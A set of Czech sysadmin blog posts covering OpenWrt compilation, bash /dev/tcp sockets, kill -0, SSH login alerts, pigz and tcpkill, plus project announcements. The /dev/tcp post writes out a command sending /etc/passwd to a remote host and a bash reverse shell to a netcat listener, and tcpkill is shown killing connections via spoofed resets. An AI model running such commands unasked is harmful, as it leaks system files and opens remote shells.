Jedna z nejlepších konferencí, událostí, meetup, … sešlostí české linux scény pro 2015 se přiblížila, od roku 2012 kdy LinuxDays plně nahradilo zdechnuté LinuxExpo konference roste a roste, byl jsem na každém ročníku a letošní vypadá na podle mě nejlepší, těším se a děkuji, děkuji organizátorům a přednášejícím, obrovské usilí a věnovaná energie, jste hrdinové.
Přijďte na LinuxDays, jde o nejlepší komunitní akci v ČR, nebudete litovat, lidé, technologie, pulzující tržiště nápadů.
Nejrychlejší komplikace OpenWrt, pro úplné nováčky, nebojte se postavit si vlastní systém na míru, dle vlastních potřeb, díky automatizovanému build systému je to snadné.
Komplikaci provedeme na Debianu, budeme potřebovat cca 4GB volného místa a trpělivost, OpenWrt má vlastním buildovácí systém (Buildroot, můžete na něj narazit leckde, je to populární nástroj pro sestavení embedded Linuxu) pro cross-compile (sestavuje na x86 ale výstup poběží na jiné platformě).
Nainstaluje nezbytné věci pro překlad,vývoj a git (build-essential, ať žije síla balíčkovacích systému), poté klonujeme git repozitář OpenWrt, jdeme na to.
Tak, máme základ OpenWrt stažen (cca 200MB), nyní potřebujeme balíčky (feeds, potravu) pro sestavení, další se budou dotahovat podle toho vše budeme chtít začlenit.
havel@havel-machine:~/Work$ cd openwrt
havel@havel-machine:~/Work/openwrt$ ./scripts/feeds update -a
havel@havel-machine:~/Work/openwrt$ ./scripts/feeds install -a
Tak konsole na nás hodně křičela, stáhlo se cca dalších 50MB dat, ale nebojte se ničeho, pokračuje dále k sestavení.
havel@havel-machine:~/Work/openwrt$ make defconfig
havel@havel-machine:~/Work/openwrt$ make prereq
havel@havel-machine:~/Work/openwrt$ make menuconfig
Po poslední příkazu se dostáváme k textovému menu, zde si vybereme co chceme sestavit, pro jakou architekturu, jaké balíčky zahrneme (ty se následně stáhnout ve formě zdrojového kódu a zkompilují), jak krásné a jednoduché.
Nejklíčovější je výběr správné cílové architektury (target), otevřete menu, vyberte Broadcom BCM2708/BCM2709 pro Raspebrry Pi 2, stejným způsobem můžete přeložit OpenWrt pro cokoliv jiného, výběr je velmi široký.
Doporučuji si pohrát s v menu Target images -> Boot SD card partition size a Root filesystem partition size , což jsou velikosti oddílů pro boot a root, jako filesystém nechávám ext4.
V kernel -> Wireless si vyberte ovladače pro bezdratové adaptéry pokud je budete používat, já jsem si ještě začlenil VLAN (802.1q), zabbix agenta, LuCI, LuCI Asterisk, coova-chilli a pár dalších, hodí se i wpa_supplicant, obecně menuconfig je velmi bohatý projděte se ho až budete mít chvilku, vše co zaškrtáte má vliv na dobu komplikace, množství stahovaných dat i výslednou velikost image.
Jdeme buildovat (komplikovat), pozor z menuconfig vyberte Save, uložte do souboru .config a až poté exit.
*** End of the configuration.
*** Execute 'make' to start the build or try 'make help'.
havel@havel-machine:~/Work/openwrt$ make -j 3
make[1] world
make[2] tools/install
make[2] package/cleanup
make[3] -C tools/patch compile
make[3] -C tools/expat compile
make[3] -C tools/sstrip compile
make[3] -C tools/make-ext4fs compile
... čekejte a čekejte ...
... pokud jste pozorní všimnete si, že openwrt si samo sestavilo gcc (překladač, či obecně tzv. toolchain) pro své pokračování v překladu ...
make[3] -C toolchain/gcc/final compile
make[3] -C toolchain/gcc/final install
make[2] target/compile
make[3] -C target/linux compile
Překladače se neflákají a vytěžují systém, parametr -j 3 v příkazu make povoluje právě instance překladače zároveň.
Hotovo, výstup (připravený image) najdete v openwrt/bin/ , OpenWrt build automaticky sestavil image pro modely Raspberry b,b+ a CM (Compute Module).
OpenWrt obsahuje balíčkovací systém opkg, jde o repositáře s předkompilovaným software pro danou platformu, není nutné tedy software (userspace + ovladače) kompilovat pokud nechcete, ale ta možnost tu stále je. Pro úplnost, balíčky jsou soubory s koncovkou .ipk např. iperf_2.0.5-1_brcm2708.ipk.
Pro Broadcom 2708 a 2709 tedy Raspberry Pi 2 použijte tento předkompilovaný repositář, nastavte si ho v /etc/opkg.con a udělejte opkg update, získáte přístup k rozsáhlému množství software.
Hotovo, tak kompilujte, pokud bude zájem je možné si příště ukázat patchnutí a kompilace OpenWrt jako metarouter Mikrotik s instalací VoIP telefonní ústředny Asterisk, za velmi nízké náklady tak získáte router s Wifi, až ethernet 10portů pro LAN a VoIP telefony.
Užívejte moudře, díky za pozornost. František Havel, MOJEservery.cz.
Linux mini-howto?
Krátce o nástrojích ze života sysadmina.
Bash a sokety, /dev/tcp
Věděli jste, že bash obsahuje build-in (vestavěné) BSD socket rozhraní dostupné skrze /dev/tcp? Pseudo zařízení slouží v bashi pro přímou interakci s TCP socketem.
Syntax /dev/tcp s /dev/udp
/dev/tcp/<host>/<port>
/dev/udp/<host>/<port>
Malá ukázka práce s /dev/tcp.
havel@havel-machine:~$ exec 5<>/dev/tcp/havel.mojeservery.cz/80
havel@havel-machine:~$ echo -e "GET / HTTP/1.0\n" >&5
havel@havel-machine:~$ cat <&5 | head -n 10
HTTP/1.1 200 OK
Server: nginx/1.2.1
Date: Tue, 01 Sep 2015 14:41:44 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.4.41-0+deb7u1
Vary: Accept-Encoding, Cookie
Cache-Control: max-age=3, must-revalidate
WP-Super-Cache: Served supercache file from PHP
# Na své stroji si rozjeďte netcat
root@www:/root# nc -l -p 8888
# Pošlete si co potřebujete k sobě
havel@havel-machine:~$ cat /etc/passwd > /dev/tcp/havel.mojeservery.cz/8888
# Reverse shell
# Na své stroji si rozjeďte netcat root@www:/root# nc -l -p 8888
havel@havel-machine:~$ bash -i >& /dev/tcp/havel.mojeservery.cz/8888 0>&1
# havel@havel-machine:~$ pwd
pwd
/home/havel
Pozn.: bash je nutné zkomplikovat s volbou (--enable-net-redirections).
Linux mini-howto?
Krátce o nástrojích ze života sysadmina.
Monitoring procesů s kill
havel@havel-machine:~$ kill -0
Tajné, pssst!
Nedokumentovaná (man kill) část nástroje kill, kill -0. Zcela dle neočekávání kill -0 nezabije proces, ani ho jinak neovlivní, vrací exitcode 0 pokud proces běží a akceptuje signály a naopak pokud neběží vrací 1.
K čemu je to dobré? Napadá mě, využití např. jednoduché hlídání procesů (démonů) z /var/run/xyz.pid ( #kill -0 $(cat /var/run/crond.pid) ), určitě existují jiná i lepší řešení (a nevím zda-li parsování ps je ono nebo průchod /proc/<pid>), ale jak už někdo poznamenal, proč, protože můžem.
Linux mini-howto?
Krátce o nástrojích ze života sysadmina.
SSH login notifikace emailem
Krátké a jednoduché, chcete info(oznámení) do emailu po přihlášení uživatele na SSH server? Jednoduchý script ukazuje jak na to, nejde o náhradu za komplexní systémy s logování na centrání vzdálený server, ale pro malé použití a případně další čarování s sshrc se může hodit.
Kde spouštět SSHrc script?
~./ssh/rc – lokální konkrétní uživatel
/etc/ssh/sshrc – globálně pro všechny uživatele
SSHrc script
Napsán pro Vás jednoduchý ukázkový script v bashi, použijte ho, upravujte dle potřeby.
A to je vše! (! script opravdu není uvozen #!/bin/bash )
Na serveru musí být v provozu mail subsystém, alespoň jako stmp relay, tak aby email mohl odejít, navíc může být zpracování sshrc potlačeno konfigurací (ForceCommand, ssh -N apod.).
Užívejte moudře, mějte přehled o přístupech na Váš SSH server.
Díky za pozornost. František Havel, MOJEservery.cz
Linux mini-howto?
Krátce o nástrojích ze života sysadmina.
Pigz, unpigz , paralelní gzip implementace
Proč ? V dnešní době je téměř nemožné koupit procesor s jedním jádrem, výrobci tak obcházejí problém rychlejších procesorů (výšší frekvence) díky možnosti umístění více jader do jednoho fyzického pouzdra a přenesení problému do oblasti software.
Paralelní výpočty rozdělují složitější úlohu na vícero jednoduchých,
ty jsou často vykonávány ve vláknech, které běží škálovatelně přes
jádra procesoru.
Paralelní programování je považováno za obtížnější formu vývoje
software, nese sebou celou řadu problému, zamykání, souběh, vyloučení, paralelní zpomalení, synchronizace atd, přesto jde o klíčovou oblast zejména pro řešení simulací, potřebujeme znát odpovědi na otázky které jsou analyticky neřešitelné (např. teoretická a experimentální fyzika)
K čemu to používáme? Zpátky na zem, smrtelník a sysadmin v našem případě nasadil pigz jako rychlou náhradu za klasický gzip pro komprimaci záloh databáze MySQL, zálohuje s v noci, komprimuje se v noci a jak praví klasik čas jsou peníze.
Instalace pigz
root@havel-machine:~# apt-get install pigz
Malá ukázka, vzorová data SQL dump 868MB , komprimace provedena nad stejnou db vždy metodou fast (-1, nejrychlejší) a best (-9, nejúčinější).
FAST
BEST
pigz (čas)
12.1s (cpu 392%)
16.5s (cpu 396%)
gzip (čas)
44.6s (cpu 100%)
58s (cpu 100%)
Testováno na AMD A6-3670, 4GB RAM, disk SATA 7200rpm.
Jednoduchý benchmark ukazuje rychlejší zpracování dat za použití paralelní implementace gzip a to v obou případech, rozdíly jsou na první pohled signifikantní. Jak je patrné paralelní komprimace dává smysl a dokáže významně zkrátit časy v celém zálohovacích procesu a nárůstem počtu jader zkracujete čas, navíc je možné omezit pigz na konkrétní počet jader (např. 6 jader z 8).
Užívejte moudře, díky za pozornost. František Havel, MOJEservery.cz
Bojujete se zálohování? Nabízíme pomoc.
Nabízíme firemní i osobní zálohovací systémy, onsite i offsite zálohování, replikační systémy, katalogové zálohování, komprimace, deduplikace, verzování záloh, synchronizace lokalit, ochrana záloh, reporting a zcela bezplatně konsultaci a poradentství.
Linux mini-howto?
Krátce o nástrojích ze života sysadmina.
Nástroj tcpkill
Přijde čas od času k duhu, vytvořit TCP spojení je snadné a umí to každý, ale co dělat pokud chceme konkrétní spojení zabít? Trochu Nerudovská otázka: „Kam s ní“, že? Na procesy máme kill, ale co s tcp, navazané je, firewall jsem opravili a teď ho ukončeme.
Tak jednoduché to zas není, k uzavření socketu je potřeba znát TCP ACK(Acknowlegment) a SEQ(Sequence numbers), je nutné tyto informace extrahovat z paketu spojení (odposlechnout, spoof) a zaslat TCP RST(reset).
Nástroj tcpkill funguje přesně popsaným mechanismem, syntax je shodný s nástrojem tcpdump, autorem tcpkill je Dug Song.
# tcpkill -i eth0 { expression }
# tcpkill -i eth0 port 21 // zabije odchozí spojení na port 21(FTP)
# tcpkill host 192.168.1.42 // zabije odchozí spojení na host 192.168.1.42
Hotovo!
Vypadá to jednoduše, popsaný mechanismus ukončení tcp spojení (tzv. passive, pasivní) má jeden drobný neduh, v případě tcp spojení ve stavu idle(wait, keepalive) není co ochytit (nejsou data, není co spoofovat), takové spojení se Vám tímto nástrojem nepodaří zabít.
Příště se podíváme na nástroje killcx, cutter a bude-li čas i low-level hack s netstat,lsof a kill.
Užívejte moudře, díky za pozornost. František Havel.
pro zákazníka Hotel Větrov Krásná u Aše jsme ve spolupráci s firmou GTP s.r.o. Mariánské Lázně úspěšně provedli osazení a konfiguraci VoIP telefonní pobočkové ústředny, první fáze projektu předpokládala oživení ústředny s cílem realizace dialplanu vnitřních linek, registrace telefonů na pokojích pro hosty a personálu, v druhé nadcházející fázi dojde k migraci telefoních čísel a terminaci pomocí technologie SIP trunku na novou ústřednu.
VoIP ústředna v číslech
25x VoIP telefon Siemens Gigaset A510IP (bezdrátový telefon – pokoje, kuchyň, office, wellness, doktor)
1x VoIP telefon Grandstream GXP2160 (recepce/spojovatelka, barevný displej)
1x VoIP telefonní ústředna
Děkujeme za příležitost a těšíme se na další spolupráci. MOJEservery.cz.
pro zákazníka společnost SYSKO Tábor jsme úspěšně provedli konfiguraci VoIP pobočkové ústředny Asterisk s konfigurací pro nahrávání hovorů a www rozhraním, dále provedena konfigurace VoIP trunk rozhraní a připojena dvouportová GSM brána (pro dvě SIM karty), kromě GSM je ústředna připojena k několika VoIP poskytovatelům. Systém VoIP ústředny je postaven na operačním systému CentOS 7, instalované integrační komponenty umožňují plný běh uvnitř virtuální prostředí Microsoft Hyper-v.
Děkujeme za příležitost a těšíme se na další spolupráci. MOJEservery.cz.
dokonfigurována podpora emailových služeb (emaily na vlastní doméně)
Poštovní server Postfix
IMAP/POP3 server Dovecot
Antispam (amavisd, spamd, clamd)
fail2ban pro POP3/IMAP
Webmail rozhraní
pro zákazníka úspěšně provedena kompletní konfigurace virtuálního Linux serveru (Virtual Private Server = VPS) pro nový portál o kulturistice s největší fitness komunitou → www.posilka.cz.
Děkujeme za příležitost a těšíme se na další spolupráci. MOJEservery.cz.